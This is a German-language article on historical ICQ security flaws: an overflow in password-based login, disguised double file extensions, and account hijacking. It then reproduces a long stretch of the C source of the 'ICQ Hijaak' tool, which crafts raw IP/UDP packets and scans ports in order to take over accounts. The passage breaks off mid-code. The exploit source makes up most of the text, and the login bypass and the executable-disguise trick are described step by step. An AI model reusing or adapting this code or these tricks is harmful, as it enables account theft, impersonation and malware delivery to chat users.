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1.0 Inhaltsverzeichnis

 

2.0 Einführung

 

3.0 Die Sicherheit

3.1 Die Sicherheitslücken

3.1.1 ICQ98a: Bufferoverflow durch korrupte URL

3.1.2 ICQ98a: Datei-Endungen vortäuschen

 

3.1.3 ICQ98b: ICQ-Hijacking

 

3.1.4 ICQ98b: IP-Sniffing durch TCP-Pakete

 

3.1.5 ICQ98b: Message-Spoofing

 

3.1.6 ICQ99a: Passwörter werden im Klartext gespeichert

 

3.1.7 ICQ99a: Unsichere Authentifizierung

 

3.1.8 ICQ99b: Bufferoverflow dank URL

 

3.1.9 ICQ99b: Client-to-Client-Protokoll

 

3.1.10 ICQ99b: DoS-Attacke dank guestbook.cgi

 

3.1.11 ICQ99b: DoS-Attacke durch URL

 

3.1.12 ICQ99b: File-Sharing

 

3.1.13 ICQ2000: Und was ist damit?

 

2.0 Einführung 

ICQ (Ausgesprochen "I seek you") konnte sich aufgrund seines hohen Komforts und stetig wachsenden Funktionsumfang als das meistgenutzte Chat-System, neben IRC (Internet Relay Chat), des Internets durchsetzen. Eine Kommunikation kann auf zwei Wege stattfinden: Entweder vom ICQ-Client über den Chat-Server zu einem anderen User, oder direkt von Anwender zu Anwender. Offizielle und inoffizielle ICQ-Clients finden sich für die verschiedensten Plattformen: So sind welche für Windows 9x, Windows NT, Windows CE, Linux, MacOS, BeOS, BSD und sogar Solaris erhältlich. Dies ist gewissermassen eine Meisterleistung der Hersteller der inoffiziellen Client-Software, da das eingesetzte Protokoll nicht öffentlich einsehbar ist. Für Windows empfiehlt sich eindeutig das Nutzen des neuesten offiziellen Clients von Mirabilis, da jener den besten Komfort und höchste Sicherheit bietet und mit allen anderen Clients kompatibel ist. Für Unix-Derivate wurde von Mirabilis offiziell ein Java-Client herausgegeben, der jedoch niemals an die Bedienerfreundlichkeit vieler inoffizieller Clients herankommt. Für Linux gibt es neben den grafischen Clients für die Oberfläche X auch diverse Programme für die Kommandozeile. Mein absoluter Favourit ist zICQ, der zwar einige Einbussen in Punkto Funktionsumfang machen muss, dafür stabil und schnell läuft. Es ist mir dadurch sogar möglich ICQ portabel auf meinem Handy (NOKIA 9110) zu nutzen: Ich wähle mich bequem unterwegs per Telnet auf meinem Linux-Server ein, um danach den Konsolen-Client in Anspruch zu nehmen.

 

Jeder Nutzer des ICQ-Dienstes erhält bei seinem Eintritt in die Community eine eindeutige Nummer, die UIN (Universal Identifier Number) genannt wird. Diese Nummer ist mit der eindeutigen IP-Adresse oder Telefon-Nummer vergleichbar, da sich dadurch andere User finden und identifizieren lassen. Die Nummern werden additionell 1 vergeben. Das heisst, dass wenn ich bei meiner Registrierung die Nummer 10742206 erhalten habe, der kommende Nutzer automatisch die nächst höhere bekommen wird; also die UIN 10742207. Mitlerweile existieren über 70000000 Nummern, und wer sich noch mit einer 7- oder gar 6-stelligen UIN brüsten darf, kann sich ohne weiteres zu den alten Hasen zählen. UINs mit weniger Stellen werden nicht öffentlich vergeben und vorzugsweise vom Person von ICQ (Mirabilis und AOL) genutzt. Möchte man jemanden finden, lassen sich mit der Eingabe des vollständigen Namens, E-Mail-Adresse oder UIN in das "elektronische Telefonbuch" von ICQ den Nutzer einfach aufspüren. Es gibt auch die offiziellen weissen Seiten, bei denen sich Benutzer des Dienstes in Listen eintragen lassen, die sich einem speziellen Thema widmen.

 

Auf der sogenannten Kontakt-Liste sind alle User eingetragen, mit denen man regelmässig in Kontakt steht. Auf jener Liste wird stets aktuell ersichtlich, wer gerade online ist oder den PC für einen kurzen Augenblick verlassen hat. Es ist möglich den eigenen Status zu verändern, wobei auf der Kontaktliste des Gegenübers automatisch der neue Status angezeigt wird. Die gängigen Zustände reichen von "online" über "away" bis hin zu "do not disturb". Möchte man nicht öffentlich zugeben, dass man mittels Internet-Zugang zur Zeit im ICQ erreichbar ist, ändert man den eigenen Status in "invisible", wobei nur noch Auserwählte einem als "online" in der Kontakt-Liste registrieren können. Nun ist es möglich mit wenigen Maus-Klicks oder Tasten-Kombinationen einem ICQ-Nutzer in der eigenen Contact-List eine Message zukommen zu lassen. Auch sind längere Chat-Sessions möglich, bei denen ganz im Stile von iRC auch mehrere Anwender in real-time beiwohnen können. Im Laufe der Zeit hat sich ICQ zu einer wahren Kommunikations-Schaltzentrale entwickelt, da nun bei den neueren (Windows-)Clients auch das Verschicken multimedialer Nachrichten möglich wird oder mittels Plug-Ins Voice-over-IP genutzt werden

kann.

 

Kurz vor dem Erscheinen der Test-Version von ICQ 2000 machte ein neues Add-On zu ICQ die Runde: Die sogenannte ActiveList. Dadurch wird die Usenet-ähnliche Zusammenhaltung einer Diskussion möglich. Der Moderator muss als erstes die Server-Software auf dem heimischen PC installieren und die neu erstellte Liste im Internet anmelden. Ab da an können Interessierte dieser Community beitreten, um einem zuvor spezifizierten Thema in Form einer Diskussion beizuwohnen. Diese Form der Unterhaltung konnte sich (leider) nicht wirklich durchsetzen, da zu wenige ActiveList-Moderatoren Standleitungen besitzen, und das Nutzen dieses Zusatzdienstes somit nur temporär möglich ist.

 

ICQ heimste sich in vergangener Zeit einiges an Unstimmigkeit der Nutzer ein, da oft mögliche Hack-Versuche auf Sicherheitslücken von ICQ abgeschoben wurden. ICQ alleine ist jedoch selten für Angriffe als Ausgangslage nutzbar, obwohl Remote-Bufferoverflows und DoS-Attacken bekannt sind. Die grösste Gefahr besteht bei einigen Clients, dass einem potentiellen Angreifer zu viele Informationen über das vermeindliche Zielsystem mitgeteilt wird: Neben der aktuellen IP-Adresse werden oft auch private Informationen wie die Anschrift oder Telefonnummer in den Details bekanntgegeben. Diese potentielle Sicherheitslücke wurde bei ICQ2000 unwiederruflich behoben. Auch finden sich zahlreiche War-Tools im Internet, mit denen sich Benutzer mit hunderten von Nachrichten überfluten lassen. Die Ports, die ICQ-Clients standartmässig öffnen ermöglichen nur in den seltensten Konfigurationen direkte Angriffe - Viel mehr finden UIN-Übernahmen bei durch die NETBIOS-Freigabe falsch konfigurierte Systeme statt.

 

3.0 Die Sicherheit 

Nützlicherweise kann man beim kleinen Chat-Tool vor der Version 2000 seine eigene IP-Adresse verstecken lassen, so dass andere ICQ-Benutzer in ihren Clients jene nicht mehr ohne weiteres ausfindig machen können: Nach dem Öffnen der PopUp-Liste wählt man den Eintrag "Preferences & Security" und wählt "Security & Privacy". Danach öffnet sich ein weiteres Fenster. Bei "Chance ContactList Authorisation" ist es möglich anzugeben, dass jeder ICQ-User, der einem in seine Contact-List aufnehmen möchte, zuerst um Erlaubnis fragen muss. Selektiert man "my authorisation is required", wird diese Funktion aktiv. Ist das Kästchen bei "IP Publishing" aktiviert, ist die eigene IP-Adresse ohne fremde Hilfsmittel mittels ICQ nicht herausfindbar. Das Veröffentlichen der eigenen IP-Adresse mittels ICQ wird so unterdrückt. Trotzdem gibt es spezielle Tools, die einem ein erstes Abtasten automatisieren lassen. Es gibt auch die Möglichkeit dem Gegenüber eine Nachricht zukommen zu lassen, und mit der Eingabe von "netstat -a" am heimischen Rechner den Verbindungsaufbau auszuwerten. Ab ICQ2000 sind diese Attacken jedoch nicht mehr durchführbar, da die eigene IP-Adresse vom Client her nicht mehr verschickt werden darf.

 

In vergangener Zeit wurde in den einschlägigen Newsgroups immerwieder die angeblich unberechenbare Sicherheit von ICQ diskutiert. Viele ICQ-Versionen weisen Sicherheitslücken auf, die von Angreifern remote für destruktive Zwecke genutzt werden können. Ein weiteres Manko von ICQ besteht darin, dass der Chat-Client unbeholfen relativ viel Informationen über das heimische System herausrückt. Viele dieser besagten Informationen können für einen Angreifer von besonderem Interesse sein. Auch das Nutzen einer Firewall vermag viele der durch ICQ zu Tage tretenden Sicherheitslücken nicht zu schliessen. Grundsätzlich sollte wirklich auf den Einsatz von ICQ in zu schützenden Umgebungen verzichtet werden.

 

3.1 Die Sicherheitslücken

 

3.1.1 ICQ98a: Bufferoverflow durch korrupte URL

Zack fand im Jahre 1998 eine ziemlich peinliche Sicherheitslücke in Form eines Remote-Bufferoverflows bei der Anmeldung des ICQ-Clients beim Mirabilis-Server, die jedoch durch Mirabilis seit längerem behoben wurde.

 

Die offiziellen Clients benutzen höchstens die ersten 8 Zeichen des Passworts zur Authentifizierung; die anderen Stellen werden einfach ignoriert, so wie dies auch bei der Passwort-Anmeldung auf Unix-Systemen der Fall ist. Die Linux-Clones machen dies nicht: Würde nun ein Passwort mit mehr als 8 Zeichen an den Mirabilis-Server geschickt werden, endet die Aktion in einem Bufferoverrun und man kann sich mit beliebiger UIN einloggen. Eine gute ICQ-Clone zur Durchführung eines solchen Tests war der Client für Unix-Derivate namens zICQ. Als UIN musste im Config-File die gewünschte Nummer und als Passwort simpel "123456789" (Einfach grösser als die vorgesehene Länge!) eingetragen werden. Nach erfolgreichem Eindringen konnten Nachrichten im Namen des Opfers geschickt und empfangen werden.

 

Diese Attacke ist kein Spoofing, sondern ein simples Einloggen unter falschem Namen. Bei Spoofing können nämlich keine Nachrichten im Namen des anderen empfangen werden. Dieser Trick funktionierte nicht, wenn jemand schon mit einer gültigen UIN eingeloggt war. Der Fehler wurde relativ schnell von Mirabilis behoben und kann heute nicht mehr genutzt werden.

 

3.1.2 ICQ98a: Datei-Endung vortäuschen

Dieser nun folgend erklärt, von Justin Clift herausgefundene Bug wurde mit dem Win32 ICQ-Client in der Version 98a 1.3 erfolgreich getestet. Auch funktioniert diese Attacke im beliebten mIRC-Client. Schickt eine Person einem anderen User per ICQ eine Datei, so erscheint ein PopUp-Fenster, in der der Empfänger den Datei-Namen und die kurze Beschreibung des Senders lesen kann. Nun hat der Empfänger die Wahl, ob er die Daten verwerfen möchte, ob er sie speichern will und ob sie nach dem speichern automatisch angezeigt bzw. ausgeführt werden sollen.

 

Das Problem besteht nun darin, dass bei diesem PopUp-Fenster der Ausschnitt für die Anzeige des Datei-Namens in gewissen Fällen nicht ausreichend ist, und somit nur der Anfang des Dateinamens angezeigt wird. Als Beispiel kann hier die ausführbare Datei mit dem Namen "marc4.jpg.exe" genommen werden: Der Empfänger sieht auf dem Bildschirm nur "marc4.jpg" als Dateinamen; der exekutive Rest wird ihm nicht angezeigt. Speichert der Empfänger diese Sendung nun, und wählt die Option "Automatisches Anzeigen" bzw. "Ausführen nach dem Speichern", so wird nicht ein Bild angezeigt, sondern der vermeindlich korrupter Programmcode ausgeführt.

 

Mirabilis wurde über diesen Fehler informiert, sie versäumten es jedoch, aktiv gegen diesen Fehler ihrerseits vorzugehen.

 

3.1.3 ICQ98b: ICQ-Hijacking

Ein Hacker namens Wumpus entwickelte in C einen ICQ-Hijacker, der Sicherheitslücken des eingesetzten Protokolls geschickt ausnutzt, um einen Account zu stehlen. Ist ein User mit seinem Win32- oder Java-Client eingeloggt, kann das Passwort dieses Accounts geändert werden, ohne das ursprüngliche Passwort zu kennen. Sein Programm hijaak.c wurde erfolgreich gegen die Versionen 1.22 bis 1.26 getestet und zog eine Clone mit dem Namen wumpus4.c mit sich:

 

/*

    ICQ Hijaak

    Version 1C

    Author:  wumpus@innocent.com

    Copyright (c) 1998 Wolvesbane

 

    By downloading or compiling this  program, you agree to the  terms

    of this license. If you do  not agree with any of these  terms you

    MUST  delete  this  program  immediately  from  all  storage areas

    (including browser caches).

 

    (A) You  agree  not  to  use  this  program in any way that  would

        constitute  a  violate  of  any  applicable  laws.   This  may

        included federal  laws if  you live  in the  United States and

        similar laws regarding computer security in other countries.

    (B) You  agree  to  hold  the  authors (referred to collective  as

        Wolvesbane) harmless in  any damages that  result due to  your

        possession or use of this software.

    (C) Wolvesbane  does not  claim that  this program  implements any

        functions.  As the saying goes, "You get what you pay for." --

        And you didn't pay anything for this.

    (D) This software is FREE  for _NON-COMMERCIAL_ use.  You  may not

        use this program for any commercial use (or any other activity

        which makes you  money with the  assistance of this  program).

        The author is not interested in commercial use of this program

        (and cannot think of what commercial use would consist of).

    (E) This program was  created using Linux with  IP-Masquerading to

        run the ICQ program  unmodified and without any  dissassembly.

        The  testing  was  done  with  volunteers,  and  with a second

        computer  logged  into  the  ICQ  network.   No ICQ users were

        harmed in the creation or testing of this program.

    (F) This copyright applies only to the code written by Wolvesbane,

        and not to anything included under Fair Use.

    (G) Please note that if you use ANY sections of this code in  your

        work,  (which   I  expressly   allow   as   long  as   it   is

        NON-COMMERCIAL), you are obligated  to give me some  credit in

        your  comments  (if  it  is  a  source  file  ) or in a string

        constant if it is a binary file.  If you do not wish to do so,

        you may NOT include ANY portion of this file in your own work.

*/

 

#include <arpa/inet.h>

#include <netdb.h>

#include <netinet/in.h>

#include <stdarg.h>

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <sys/socket.h>        /* for AF_INET */

#include <sys/time.h>

#include <sys/types.h>

#include <unistd.h>

int MultiResolve( char * hostname,

                int * addr_count,

                struct in_addr ** addresses );

enum { FAILURE = -1, SUCCESS = 0 };

 

/*=========================================================================*/

typedef unsigned short int      u16;

typedef unsigned long int       u32;

typedef unsigned char           u8;

/*=========================================================================*/

 

#define byte(v,o) (*((u8 *)(&(v))+(o)))

#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))

#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))

unsigned char icq_check_data[256] = {

        0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,

        0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,

        0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,

        0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,

        0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,

        0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,

        0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,

        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,

        0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,

        0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,

        0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,

        0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,

        0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,

        0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,

        0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,

        0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,

        0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,

        0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,

        0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,

        0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,

        0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,

        0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,

        0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,

        0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,

        0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,

        0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,

        0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,

        0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,

        0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,

        0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,

        0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,

        0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };

#define MAX_NUM_ADDRESSES     255

int Resolve( char * hostname, struct in_addr * addr ) {

        struct hostent * hinfo;

        (void)memset( (void *)addr, 0, sizeof( struct in_addr ));

        if ( inet_aton( hostname, addr) ) return SUCCESS;

        if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;

        (void)memcpy( (void *)addr, (void *)hinfo->h_addr,

                sizeof(struct in_addr )); return SUCCESS; }

int MultiResolve( char * hostname, int * addr_count,

        struct in_addr ** addresses ) {

        int                     host_count;

        int                     i;

        char                    * p;

        struct  in_addr         address;

        struct  hostent         * hinfo;

        if ( inet_aton( hostname, &address ) ) {

                p = (char *)malloc(sizeof(address));

                if ( !p ) {

                        fprintf(stderr,"MultiResolve: Allocation failed!\n");

                        return FAILURE;

                }

                (void)memcpy((void *)p,(void *)&address, sizeof(address) );

                *addr_count = 1;

                *addresses = (struct in_addr *)p; return SUCCESS; }

        if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;

        if ( hinfo->h_length != sizeof( struct in_addr ) ) {

                fprintf(stderr,"MultiResolve:  h_length (%d) not equal "\

                        "to size of struct inaddr (%d) ",

                        hinfo->h_length, sizeof(struct in_addr) );

                return FAILURE;

        }

        host_count = 0;

        for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {

                struct in_addr  * addr_ptr;

                addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];

                if ( !addr_ptr )

                        break;

                host_count++;

        }

        p = (char *)malloc( host_count * hinfo->h_length );

        if ( !p ) {

                fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",

                        host_count * hinfo->h_length );

                return FAILURE;

                }

        *addresses = (struct in_addr *)p;

        for ( i = 0; i < host_count; i++ ) {

                (void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],

                        hinfo->h_length ); p += hinfo->h_length; }

        *addr_count = host_count; return SUCCESS; }

#define IP_VERS         0

#define IP_TOS          1

#define IP_TOTLEN       2

#define IP_ID           4

#define IP_FLAGS        6

#define IP_TIMETOLIVE   8

#define IP_PROTOCOL     9

#define IP_CHECKSUM     10

#define IP_SRC          12

#define IP_DST          16

#define IP_END          20

#define UDP_SOURCE      0

#define UDP_DEST        2

#define UDP_LENGTH      4

#define UDP_CHECKSUM    6

#define UDP_END         8

#define UCHDR_SOURCE    0

#define UCHDR_DEST      4

#define UCHDR_PROTOCOL  9

#define UCHDR_UDPLEN    10

#define UCHDR_END       12

#define ICMP_TYPE       0

#define ICMP_CODE       1

#define ICMP_CHECKSUM   2

#define ICMP_END        4

u16 cksum( u16 * buf, int numWords ) {

        u32 sum;

        sum = 0; while ( numWords -- ) { sum += *(buf++); }

        sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );

        return ~sum ; }  

 

void make_ip_hdr(       u8      * packet, int     length, u8      protocol,

         u16     id, u16     flags, struct in_addr  me,

                struct in_addr  you, u8      ttl ) {

        memset( packet, 0, IP_END );

        byte(*packet, IP_VERS ) = 0x45;

        word(*packet, IP_TOTLEN ) = htons( length );

        byte(*packet, IP_TIMETOLIVE ) = ttl;

        byte(*packet, IP_PROTOCOL ) = protocol;

        word(*packet, IP_ID ) = htons( id );

        word(*packet, IP_FLAGS ) = htons( flags );

        dword(*packet,IP_SRC ) = *((u32 *)&me);

        dword(*packet,IP_DST ) = *((u32 *)&you);

        word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }

void make_udp_hdr(      u8      * packet, int     udplength, u16     sport,

                        u16     dport ) {

        u8      * udp;

        static  u8      chdr[UCHDR_END];

        u32     pchecksum;

 

        memset( chdr, 0, UCHDR_END );

 

        udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );

        memset( udp, 0, UDP_END );

        word(*udp, UDP_SOURCE ) = htons( sport );

        word(*udp, UDP_DEST ) = htons( dport );

        word(*udp, UDP_LENGTH ) = htons( udplength );

        memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );

        byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );

        word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );

        pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;

        if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }

        pchecksum += ( ~cksum((u16 *)udp, udplength/ 2

        + (udplength&1)) ) & 0xFFFF; pchecksum    += ( pchecksum >> 16 );

        word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }

int CreateRawSocket( void )

{

        int     s;

        int     option;

 

        s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );

        if ( s < 0 ) { perror("Socket:"); exit(-1); }

        option = 1;

        if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,

                        (char *)&option,  sizeof( option ) ) < 0 ) {

                perror("Setting IP_HDRINCL"); exit(0); }

        return s; }

int GetLocalAddress( struct in_addr remote, struct in_addr * local )

{

        struct sockaddr_in      laddress;

        struct sockaddr         * laddr = (struct sockaddr *)&laddress;

        struct sockaddr_in      raddress;

        struct sockaddr         * raddr = (struct sockaddr *)&raddress;

        int     s;

        int     err;

        int     len;

 

        s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );

        if ( s < 1 ) {

                return FAILURE;

        }

        raddress.sin_port = htons( 1984 ); /* DON'T CARE */

        raddress.sin_family = AF_INET;

        raddress.sin_addr = remote;

 

        err = connect(s, raddr, sizeof(raddress ));

        if ( err < 0 ) {

                return FAILURE;

        }

        len = sizeof(laddress);

        err = getsockname(s, laddr, &len );

        if ( err < 0 ) {

                return FAILURE;

        }

        *local = laddress.sin_addr;

        close(s);

        return SUCCESS;

}

int CreateICMPSocket( void )

{

        int s;

 

        s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );

        if ( s < 1 )

                return FAILURE;

        return s;

}

int  SendUDP( int s, struct in_addr source, struct in_addr dest,

                u16 sport, u16 tport )

{

        static u8       packet[576];

        struct sockaddr_in      raddress;

        struct sockaddr         * raddr = (struct sockaddr *)&raddress;

        int     psize;

        int     err;  

 

        raddress.sin_port = htons( 1984 ); /* DON'T CARE */

        raddress.sin_family = AF_INET;

        raddress.sin_addr = dest;

 

 

        psize = IP_END + UDP_END + 6;

 

        make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,

                source, dest, 0x7F );

 

        make_udp_hdr( packet, psize - IP_END, sport, tport);

 

        err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));

        if ( err != psize ) {

                perror("Sending");

                return FAILURE;

                }

        return SUCCESS;

}

const int       verify_secs = 2;

int VerifyUDPPort( struct in_addr addr, u16 port )

{

        int             s_icmp;

        struct timeval  start_time, end_time, wait_time;

        fd_set          rdfs;

        int             err;

        static u8       packet[1500]; /* should be max MTU */

        struct sockaddr junkaddr;

        int             junksize;

 

        u8              * icmphdr;

        u8              * fiphdr;

        u8              * fudphdr;

        int             len;

        int             got_unreach;

        struct in_addr  localaddr;

        int             rawsock;

        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {

        perror("GetLocalAddress"); exit(-1); }

        s_icmp = CreateICMPSocket();

        if ( s_icmp == FAILURE )  { perror("Getting ICMP socket"); exit(-1); }

        rawsock = CreateRawSocket();

        if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }

        FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );

        if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {

                perror("Sending UDP packet"); exit(-1); }

        got_unreach = 0; gettimeofday( &start_time, NULL );

        do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;

                err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );

                if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }

                if ( !err ) break;

                junksize = sizeof( struct sockaddr );

                err = recvfrom( s_icmp, packet, 1500, 0,

                        &junkaddr, &junksize );

                if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");

                        exit(-1); }

                if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||

                   (dword(*packet, IP_SRC ) != *((u32 *)&addr) )  )

                        goto check_timeout;

                len =  ( byte(*packet, 0 ) & 0x0F ) * 4;

                icmphdr = packet + len;

                if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||

                   (byte(*icmphdr,ICMP_CODE ) != 3 )  )

                        goto check_timeout;

                fiphdr = icmphdr + ICMP_END + 4/*clear error code*/;

                len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;

                if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||

                   ( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr)  ) )   )

                        goto check_timeout;

                fudphdr = fiphdr + len;

                if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {

                         got_unreach = 1; break; }

check_timeout:

               gettimeofday( &end_time, NULL );

        } while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );

        close( s_icmp ); close( rawsock);

        if ( got_unreach ) return FAILURE;

    else return SUCCESS;

 

}

typedef struct  foobar

{

        int     next;

        int     prev;

        u16     rem_port;

        int     times;

} port_info;

#define MAX_BURST       128

#define UNUSED_HEAD     MAX_BURST + 1

#define UNUSED_TAIL     MAX_BURST + 2

#define LIVE_HEAD       MAX_BURST + 3

#define LIVE_TAIL       MAX_BURST + 4

#define FIRST_LPORT     55000

#define SEND_COUNT      3

#define NEXT(i) List[(i)].next

#define PREV(i) List[(i)].prev

#define PORT(i) List[(i)].rem_port

#define TIMES(i) List[(i)].times

int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )

{

        int     unused_head;

        int     unused_tail;

        int     live_head;

        int     live_tail;

        int     i;

        port_info       List[ LIVE_TAIL + 1 ];

        int     Current[ MAX_BURST ];

        int     cur_min, cur_max;

        int     now_port;

        int     delay;

        int     my_port;

        int     cur_send;

        struct timeval  wait_time;

        fd_set          rdfs;

        int     err;

        int     s_icmp, rawsock;

        struct in_addr  localaddr;

        *tport = 0;

        if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {

                perror("GetLocalAddress"); return FAILURE; }

        s_icmp = CreateICMPSocket();

        if ( s_icmp == FAILURE )  {

                perror("Getting ICMP socket"); return FAILURE; }

        rawsock = CreateRawSocket();

        if ( rawsock < 0 ) {

                perror("Getting Raw socket"); return FAILURE; }

        FD_ZERO( &rdfs );

        FD_SET( s_icmp, &rdfs );

        List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;

        List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;

        List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;

        List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;

        List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;

        List[ UNUSED_HEAD ].next = UNUSED_TAIL;

        List[ UNUSED_HEAD ].rem_port = 0;

        for ( i = 0; i < MAX_BURST ; i++ ) {

                PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;

                NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;

                TIMES( i ) = SEND_COUNT; }

        now_port = start;

        cur_min = now_port;

        cur_max = MAX_BURST;

        my_port = FIRST_LPORT;

        c